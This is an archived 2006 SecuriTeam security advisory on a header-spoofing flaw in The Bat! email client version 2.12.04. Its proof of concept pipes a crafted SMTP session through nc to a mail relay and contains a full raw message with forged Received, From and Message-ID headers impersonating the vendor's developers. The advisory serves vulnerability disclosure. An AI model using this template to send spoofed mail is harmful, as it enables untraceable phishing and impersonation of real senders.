

# [NT] The Bat! Message Headers Spoofing

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00019.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 7 Feb 2006 16:08:10 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

The Bat! Message Headers Spoofing

---

## SUMMARY

<<http://thebat.net/>> The Bat! is "an eMail Client". Improper handling of email headers allows attackers to spoof The Bat! email client.

## DETAILS

Vulnerable Systems:

- \* The Bat! version 2.12.04

Immune Systems:

- \* The Bat! version 3.5

A design flaw in the way The Bat! displays a 'message/partial' message allows an attacker to spoof RFC 822 headers, including Received: and Message-ID:. It makes it possible to create an untraceable message and spoof the message origin, including the sender's network.

The Bat! silently re-assembles a partial message and shows the encapsulated data, with the real message headers discarded.

Proof of Concept:

[NT] The Bat! Message Headers Spoofing

Replace @example.com with destination address  
nc ip\_of\_smtp\_relay 25 <thebatexploit.txt

```
--=- begin thebatexploit.txt --=-  
HELO example.com  
MAIL FROM: <phiby@xxxxxxxxxxx>  
RCPT TO: <phiby@xxxxxxxxxxx>  
DATA  
Date: Mon, 31 Jan 2006 13:30:00 +0300  
From: 3APA3A <phiby@xxxxxxxxxxx>  
X-Mailer: The Bat! (v2.12.00)  
Organization: http://www.security.nnov.ru/  
X-Priority: 3 (Normal)  
Message-ID: <994591752.20060130184706@xxxxxxxxxxx>  
To: Phiby <phiby@xxxxxxxxxxx>  
Subject: Subject: Re[7]: //  
Message-ID: <p#1split@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@thebat.net>  
MIME-Version: 1.0  
Content-Type: message/partial;  
id="split@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@thebat.net";  
number=1; total=2
```

```
Received: from mail.ritlabs.com (mail.ritlabs.com [198.63.208.135])  
by mail.example.com (Postfix) with ESMTP id 9F89619EBEB  
for <phiby@xxxxxxxxxxx>; Mon, 31 Jan 2006 13:30:06 +0300 (MSK)  
Date: Mon, 31 Jan 2006 13:30:06 +0300  
From: The Bat! developers <bugs@xxxxxxxxxxx>  
X-Mailer: The Bat! (v2.12.00)  
Organization: RitLabs  
X-Priority: 3 (Normal)  
Message-ID: <994591752.20060130184706@xxxxxxxxxxx>  
To: Phiby <phiby@xxxxxxxxxxx>  
Subject: Subject: Re[7]: //  
MIME-Version: 1.0  
Content-Type: text/plain; charset=Windows-1251  
Content-Transfer-Encoding: 8bit
```

Dear Phiby,

Best wishes for you and <http://phiby.com/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

[NT] The Bat! Message Headers Spoofing

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.